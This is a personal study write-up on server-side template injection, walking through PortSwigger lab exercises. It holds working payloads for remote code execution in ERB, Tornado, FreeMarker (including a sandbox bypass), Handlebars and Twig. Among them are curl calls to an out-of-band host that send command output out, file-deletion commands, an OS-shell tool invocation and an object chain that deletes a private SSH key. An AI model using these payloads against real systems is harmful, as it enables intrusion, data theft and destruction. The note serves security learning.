# Basic Concept (SSTI)
[TOC]
If website allow us inject the code into template engines, we can manipulate the behavior of the template engines.
e.g. Inserting expression invoke the system function. (RCE)
**Template Engine**
laravel -> blade (Template engine)
symphony -> Twig (Template Engine )
Flask -> Jinja
Jinja Template
![圖片](https://hackmd.io/_uploads/r1AJwjxbR.png)
## Impact
(Main Goal)
- RCE (remote code execution) (Not Always Achieve)
- Read arbitrary file.
- Path Traversal
---
## Twig Template
**Install Twig** (template engine)
![圖片](https://hackmd.io/_uploads/H19LuBGb0.png)
```bash
composer require twig/twig
```
![](https://hackmd.io/_uploads/rJHwljfea.png)
![](https://hackmd.io/_uploads/SkFbRcfe6.png)
**Environment setting**
```
require_once '/path/to/vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader('/path/to/templates');
$twig = new \Twig\Environment($loader, [
'cache' => '/path/to/compilation_cache',
]);
```
$twig object is used to load the twig template
**Creating Instances and views**
```php
<?php
// load twig template!!
require './vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader('views');
$twig = new \Twig\Environment($loader, [
// 'cache' => '/path/to/compilation_cache',
]);
$output = $twig->render("meowhecker.html",array(
'name'=>'meowhecker',
'age'=>'18'
));
echo $output;
?>
```
![](https://hackmd.io/_uploads/Sy5jRhfgT.png)
![](https://hackmd.io/_uploads/ryhhC2zga.png)
**Basic Demo**
index.php
```php=
<?php
// load twig template!!
require './vendor/autoload.php';
$loader = new \Twig\Loader\FilesystemLoader('views');
$twig = new \Twig\Environment($loader, [
// 'cache' => '/path/to/compilation_cache',
]);
$lexer = new \Twig\Lexer($twig, array(
'tag_block' => array('{','}'),
'tag_variable' => array('{{$','}}')
));
$twig->setLexer($lexer);
$output = $twig->render("meowhecker.html",array(
'name'=>'meowhecker',
'age'=>'18',
'users' => array(
array('name'=>"meow1", 'age'=>'20'),
array('name'=>"meow2", 'age'=>'30'),
array('name'=>"meow3", 'age'=>'40'),
)
));
echo $output;
?>
```
views/meowhecker.html
```
Hello, {{name}} you are {{age}}
{% if age >15%}
you are over the age of 15.<br/>
{% endif %}
{% for user in users %}
{{user.name}} is {{user.age}} years old .<br/>
{% endfor %}
```
**Result**
![](https://hackmd.io/_uploads/rJ_ntAzep.png)
## Vulnerabilities Arise
### Static Template (Non-Vulnerable)
```
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
```
### Dynamic Template (Vulnerable)
```
$output = $twig->render("Dear " . $_GET['name'];
```
![](https://hackmd.io/_uploads/SyRfR0Gg6.png)
![](https://hackmd.io/_uploads/HJd0C0Gga.png)
User input Directly embedding to the template. (Danger!)
# Detection
Injecting special character to trigger the exception.
## Fuzzing
```
${{<%[%'"}}%\
<%=meowhecker%>
```
## Plaintext Context (No Expression)
Inject point
```
html = render("Hello" + username)
```
Distinguish XSS
Some we will identity this issue just simple XSS
We can use mathematical operation to testing there whether have SSTI issue or not.
```
{{6*9}}
or
${6*9}
```
IF Return Hello 54 -> SSTI Detected !!
## Code context (Have Expression )
Passing value to template expression
```
`greeting = getQueryParameter('greeting') engine.render("Hello {{"+greeting+"}}", data)`
```
the result URL would be like
```
http://vulnerable-website.com/?greeting=data.username
```
we can attempt to inject arbitrary HTML
```
http://vulnerable-website.com/?greeting=data.username</tag>
```
if arise exception arises
, we could try to bread out of statement using common template syntax.
```
`Hello Carlos<tag>`
```
## Identify Template Engine
Identify the type of template the server uses.
### Trigger Error Message
```
<%=foobar%>
${7/0}, {{7/0}}
```
```
Ruby-based ERB engine:
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
```
FUzzing string
```
${{<%[%'"}}%\
```
#### Mathematical Operation
![圖片](https://hackmd.io/_uploads/HkH6zzbb0.png)
```
${7*7}
{{7*7}}
a{*comment*}b
${"z".join("ab")}
```
## Automatically Tools
https://github.com/vladko312/sstimap
https://github.com/epinna/tplmap
# Exploit
Require: Identify template
## Step 1 : Read Document
Reading the document to understand the expression syntax for invoking system function to execute systems commands.
e.g. (Python-base Mako)
```
<% import os x=os.popen('id').read() %>
${x}
```
### LAB1 - SSTI (Plain Text Context)
https://docs.ruby-lang.org/en/2.3.0/ERB.html
#### Site Map
![圖片](https://hackmd.io/_uploads/rym9tzWbC.png)
#### Dynamic Parameters
![圖片](https://hackmd.io/_uploads/SkbRYf-ZR.png)
#### Identify
**Flawed Design**
- Value Reflection -> XSS,SSTI
![圖片](https://hackmd.io/_uploads/HyVWcf-ZR.png)
**Testing SSTI vulnerability **
```
${{<%[%'"}}%\
```
Not Word
![圖片](https://hackmd.io/_uploads/rJhcqMZW0.png)
```
${7*7}
{{7*7}}
```
Not work
```
<%= meowhecke %>
```
![圖片](https://hackmd.io/_uploads/Hkg72fW-A.png)
-> ERB Template
**Confirm Defense Mechanisms**
None
#### Exploit
**Read Document**
```
<%= system("whoami") %> #Execute code
```
![圖片](https://hackmd.io/_uploads/HJbXTMWZR.png)
RCE !!
![圖片](https://hackmd.io/_uploads/rk3PTMWW0.png)
Solved
#### Another Solution : Using SSTImap.py
Tools
https://github.com/vladko312/sstimap
```
python3 sstimap.py -u https://0a3c004a04955a77853ca818006000ea.web-security-academy.net/?message=Test
```
![image](https://hackmd.io/_uploads/ryjBzQ-b0.png)
```
python3 sstimap.py -u https://0a3c004a04955a77853ca818006000ea.web-security-academy.net/?message=Test --os-shell
```
![image](https://hackmd.io/_uploads/HyDZVX--0.png)
Receive Shell !!!
### LAB-2: SSTI (Code Context)
wiener:peter
#### Site Map
![image](https://hackmd.io/_uploads/rkwVBQZWA.png)
#### Dynamic Parameters
![image](https://hackmd.io/_uploads/B16zSQZW0.png)
#### Identify
Evaluate Comment functionality
![image](https://hackmd.io/_uploads/B1hg87ZW0.png)
![image](https://hackmd.io/_uploads/r1nzLQW-A.png)
**Flawed Design**
Passing User controllable vale to expression
![image](https://hackmd.io/_uploads/ryRsL7ZZR.png)
```
7*7
```
![image](https://hackmd.io/_uploads/HJpHDQWWA.png)
```
POST /post/comment HTTP/2
csrf=xwVHDtjOXBjXHOTHJCTCPmcVgDgcdHbd&postId=6&comment=${{<%[%'"}}%\
```
![image](https://hackmd.io/_uploads/S1omvQZbC.png)
SSTI Detected !!!
Identify Template Engine
![image](https://hackmd.io/_uploads/SkJ3wm-b0.png)
-> Tornado
**Confirm Defense Mechanisms**
None
#### Exploit
**Read Document**
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python
RCE (Remote Code Execution)
Code Context -> Like XSS context -> 拼接
```
{{ "meowhecker" }}
```
```
"meowHead" }} {% import os %} {{os.system('whoami')}} {{"meowTail"
```
![image](https://hackmd.io/_uploads/rk4cC7b-C.png)
![image](https://hackmd.io/_uploads/SJwoRQ--0.png)
RCE (Remote Code Execution )
```
"meowHead" }} {% import os %} {{os.system('rm ./morale.txt')}} {{"meowTail"
```
![image](https://hackmd.io/_uploads/S11Z14--C.png)
Solved !
### LAB-3 SSTI (PlainText Context:Customer HTML Page Block)
Valid Credential
- content-manager:C0nt3ntM4n4g3r
#### Site Map
![image](https://hackmd.io/_uploads/SyJyFXG-A.png)
#### Dynamic Parameters
![image](https://hackmd.io/_uploads/B1TJFQfZA.png)
#### Identify
/Change email
```
email=meow%40meow&csrf=e0wDmxxUU4umag3SJOjD5TaU9wP5Qj8a
```
![image](https://hackmd.io/_uploads/rJo8FQzWA.png)
No Vulnerability
**Flawed Design**
```
https://0a2300eb03e7a1ac80edada900870073.web-security-academy.net/product/template?productId=1
```
![圖片](https://hackmd.io/_uploads/B1fMgrz-R.png)
**Confirm Defense Mechanisms**
None
![圖片](https://hackmd.io/_uploads/Hkb_xrG-A.png)
```
${6*9}
${7/0}
```
![圖片](https://hackmd.io/_uploads/HygRlrzWR.png)
#### Exploit
**Read Document**
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java
```
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```
![圖片](https://hackmd.io/_uploads/SkqR-rz-0.png)
Remote Code Execution
![圖片](https://hackmd.io/_uploads/r14BGHzZR.png)
Solved !
### LAB-4 SSTI - Plain text context
#### Site Map
![圖片](https://hackmd.io/_uploads/S14Z-VzZ0.png)
#### Dynamic Parameters
![圖片](https://hackmd.io/_uploads/r1szbNzZ0.png)
#### Identify
**Flawed Design**
Page reflect get parameter!
![圖片](https://hackmd.io/_uploads/B1hEZVzbR.png)
**Confirm Defense Mechanisms**
None
Detected : SSTI vulnerabilities !
![圖片](https://hackmd.io/_uploads/HyFCZNzbA.png)
![圖片](https://hackmd.io/_uploads/SJPKzNzZA.png)
Template Engine -> Handlebars
#### Exploit
**Read Document**
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
![圖片](https://hackmd.io/_uploads/Bkc4IEz-0.png)
RCE Payload (Blind CMD injectio)
```
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
![圖片](https://hackmd.io/_uploads/ryCWLVzbR.png)
RCE !!!!!!!!!!!!!!
```
curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com?log=$(pwd)
```
![圖片](https://hackmd.io/_uploads/ryCHwVG-R.png)
```
curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com?log=$(rm -rf morale.txt)
```
![圖片](https://hackmd.io/_uploads/rkwctEz-0.png)
# Enumerate Template Support object or methods
SSTI is not always possible to lead to Remote code execution but , it can still provide opportunities to perform other high-severity exploit
## Default template object
we could try to inject the default objects or methods provided by template engine using a fuzzing approach
Read Document
(Brute Force - fuzzing)
1.SecLists (wordlists)
2.burpsuite intruder (profession version)
## Developer supplied objects
We can also enumerate developer-supplied objects or method to exploit them.
Enumerate
- Error Message
-
## LAB-5 : Server side template injection with information disclous via user-supplied object
content-manager:C0nt3ntM4n4g3r
#### Site Map
#### Dynamic Parameters
#### Identify
**Flawed Design**
![圖片](https://hackmd.io/_uploads/SkvuorGbC.png)
SSTI Detected !!
![圖片](https://hackmd.io/_uploads/HJdknSGWR.png)
Python Template
```
{% debug %}
```
Template Engine -> Jinja2 (Python)
![圖片](https://hackmd.io/_uploads/S1x46HfWC.png)
![圖片](https://hackmd.io/_uploads/B1o81UfZ0.png)
#### Exploit
**Read Document**
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python
framework's secret key.
```
{{settings.SECRET_KEY}}
```
![圖片](https://hackmd.io/_uploads/rJoJ-UM-R.png)
```
fz5al0wmgf36xcxlckbvi6u5r1syifly
```
![圖片](https://hackmd.io/_uploads/HykX-8GWC.png)
Solved
# Customer Exploit
## Freemarker - Sandbox bypass
### LAB-1 SSTI Sandbox ENV Bypass
content-manager:C0nt3ntM4n4g3r
#### Site Map
![圖片](https://hackmd.io/_uploads/B1RFaDM-A.png)
#### Dynamic Parameters
![圖片](https://hackmd.io/_uploads/rJR5awGWR.png)
#### Identify
**Flawed Design**
```
https://0abb007104f42b83825b92c0006f0095.web-security-academy.net/product/template?productId=1
```
![圖片](https://hackmd.io/_uploads/S1UFLwG-0.png)
SSTI detection
Template -> FreeMarker
**Confirm Defense Mechanisms**
```
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```
Not allow invoke Danger methods
![圖片](https://hackmd.io/_uploads/rkel8wf-A.png)
-> inference template in sandbox env
**Bypass**
![圖片](https://hackmd.io/_uploads/Skay_PzbC.png)
Other exploit Using Product object
![圖片](https://hackmd.io/_uploads/HJbT_vG-R.png)
According the error message, I guess template didn't have article object
we can attempt use Product to replace it.
#### Exploit
**Read Document**
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java
only works on Freemarker versions below 2.3.30
```
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
![圖片](https://hackmd.io/_uploads/SkWoPDz-0.png)
RCE !!!!
![圖片](https://hackmd.io/_uploads/rkz2KvGb0.png)
Solved
## Exploit SSTI via object chains
### LAB-Server side template injection with a customer exploit.
#### Site Map
![圖片](https://hackmd.io/_uploads/SJKp0DGWC.png)
#### Dynamic Parameters
![圖片](https://hackmd.io/_uploads/Bk83Rwz-R.png)
#### Identify
```
/my-account/change-blog-post-author-display
```
![圖片](https://hackmd.io/_uploads/HyrxyOMbC.png)
```
blog-post-author-display=7/0&csrf=M6hhzrM7GTNNKX7IycAe0uHCoGGMMKLj
```
**Flawed Design**
![圖片](https://hackmd.io/_uploads/ByaSJ_fWC.png)
SSTI Detected
Template Engine -> Twig!
**Confirm Defense Mechanisms**
**Bypass**
#### Exploit
```
"meowHead"}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{"meowTail"
```
Not Work
```
"meowHead"}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("curl http://626xhl1rv9i2zk3095z3jbu60x6ouji8.oastify.com")}}{{"meowTail"
```
Not Work
RCe payload not work
Attempt find other path
![圖片](https://hackmd.io/_uploads/BJrzH_MZA.png)
```
user.setAvatar('/etc/passwd','image/jpg')
```
![圖片](https://hackmd.io/_uploads/Bya3uOG-R.png)
```
"meowHead"}}{{user.setAvatar('/home/carlos/User.php','image/jpg')}}{{"meowTail"
```
Construct Object chain
```php
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
```
Delete
```
"meowHead"}}{{user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')}}{{user.gdprDelete()}}{{"meowTail"
```
![圖片](https://hackmd.io/_uploads/ByiWkYGbR.png)
![圖片](https://hackmd.io/_uploads/B11lJKzZR.png)
Solved
Owner :侯智晟 meowheckerouo@gmail.com